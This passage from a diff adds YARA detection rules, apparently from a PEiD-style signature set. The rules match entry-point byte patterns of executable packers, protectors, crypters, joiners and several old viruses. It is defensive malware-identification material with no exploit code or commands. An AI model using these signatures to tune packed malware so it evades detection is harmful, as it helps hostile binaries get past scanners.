+			$a0 = { B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule RCryptor16cVaska
+	{
+	strings:
+			$a0 = { 8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TheGuardLibrary
+	{
+	strings:
+			$a0 = { 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeCryptor01build001GlOFF
+	{
+	strings:
+			$a0 = { 8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08 }
+
+	condition:
+			$a0
+	}
+	
+	rule PseudoSigner02BJFNT12Anorganix
+	{
+	strings:
+			$a0 = { EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DingBoysPElockPhantasmv08
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstall2736Jitit
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler11Cp0ke
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule y0dasCrypterv1xModified
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov252b2
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+		rule Upackv036betaDwing
+	{
+	strings:
+			$a0 = { BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C }
+	$a1 = { BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 82 8E FE FF FF 58 8B 4E 40 5F E3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	rule VxNecropolis
+	{
+	strings:
+			$a0 = { 50 FC AD 33 C2 AB 8B D0 E2 F8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinUpackv039finalrelocatedimagebaseByDwingc2005h2
+	{
+	strings:
+			$a0 = { 60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv1061bAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule MEW11SEv12
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+*/	
+	
+	
+	rule aPackv062
+	{
+	strings:
+			$a0 = { 1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule MEW11SEv11
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+*/	
+	
+	rule tElockv071
+	{
+	strings:
+			$a0 = { 60 E8 ED 10 00 00 C3 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	
+	rule tElockv070
+	{
+	strings:
+			$a0 = { 60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Ningishzida10CyberDoom
+	{
+	strings:
+			$a0 = { 9C 60 96 E8 00 00 00 00 5D 81 ED 03 25 40 00 B9 04 1B 00 00 8D BD 4B 25 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule ASProtectSKE21xdllAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PAVCryptorPawningAntiVirusCryptormasha_dev
+	{
+	strings:
+			$a0 = { 53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ExeShieldCryptor13RCTomCommander
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrinklerV01V02RuneLHStubbeandAskeSimonChristensen
+	{
+	strings:
+			$a0 = { B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxGRUNT4Family
+	{
+	strings:
+			$a0 = { E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nPackV112002006BetaNEOxuinC
+	{
+	strings:
+			$a0 = { 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxEddie1800
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule EncryptPEV22006115WFS
+	{
+	strings:
+			$a0 = { 45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PrincessSandyv10eMiNENCEProcessPatcherPatch
+	{
+	strings:
+			$a0 = { 68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule aPackv082
+	{
+	strings:
+			$a0 = { 1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NJoiner01AsmVersionNEX
+	{
+	strings:
+			$a0 = { 6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsiduim1304ObsiduimSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner02FSG131Anorganix
+	{
+	strings:
+			$a0 = { BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01CodeSafe20Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01NorthStarPEShrinker13Anorganix
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ocBat2Exe10OC
+	{
+	strings:
+			$a0 = { 55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASDPack20asd
+	{
+	strings:
+			$a0 = { 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90 }
+	$a1 = { 5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9 }
+	$a2 = { 8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 }
+
+	condition:
+			$a0 or $a1 or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2021protectedIAT
+	{
+	strings:
+			$a0 = { A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 }
+
+	condition:
+			$a0
+	}
+	rule ShrinkWrapv14
+	{
+	strings:
+			$a0 = { 58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnknownbySMT
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01VOBProtectCD5Anorganix
+	{
+	strings:
+			$a0 = { 36 3E 26 8A C0 60 E8 00 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePack10Xbagie
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThemidaWinLicenseV18XV19XOreansTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEjoinerAmok
+	{
+	strings:
+			$a0 = { A1 14 A1 40 00 C1 E0 02 A3 18 A1 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EmbedPEv124cyclotron
+	{
+	strings:
+			$a0 = { 83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv04xv05x
+	{
+	strings:
+			$a0 = { C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov301v305
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DingBoysPElockv007
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule mPack003DeltaAziz
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule SixtoFourv10
+	{
+	strings:
+			$a0 = { 50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoinerSmallbuild029GlOFF
+	{
+	strings:
+			$a0 = { 50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThemidaWinLicenseV1XNoCompressionSecureEngineOreansTechnologies
+	{
+	strings:
+			$a0 = { 8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule WinUpackv030betaByDwing
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 }
+	$a1 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule Armadillov260b2
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov260b1
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeLockerv10IonIce
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV10betaap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC300400450EXEX86CRTDLL
+	{
+	strings:
+			$a0 = { 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BeRoEXEPackerv100LZBRRBeRoFarbrausch
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov190a
+	{
+	strings:
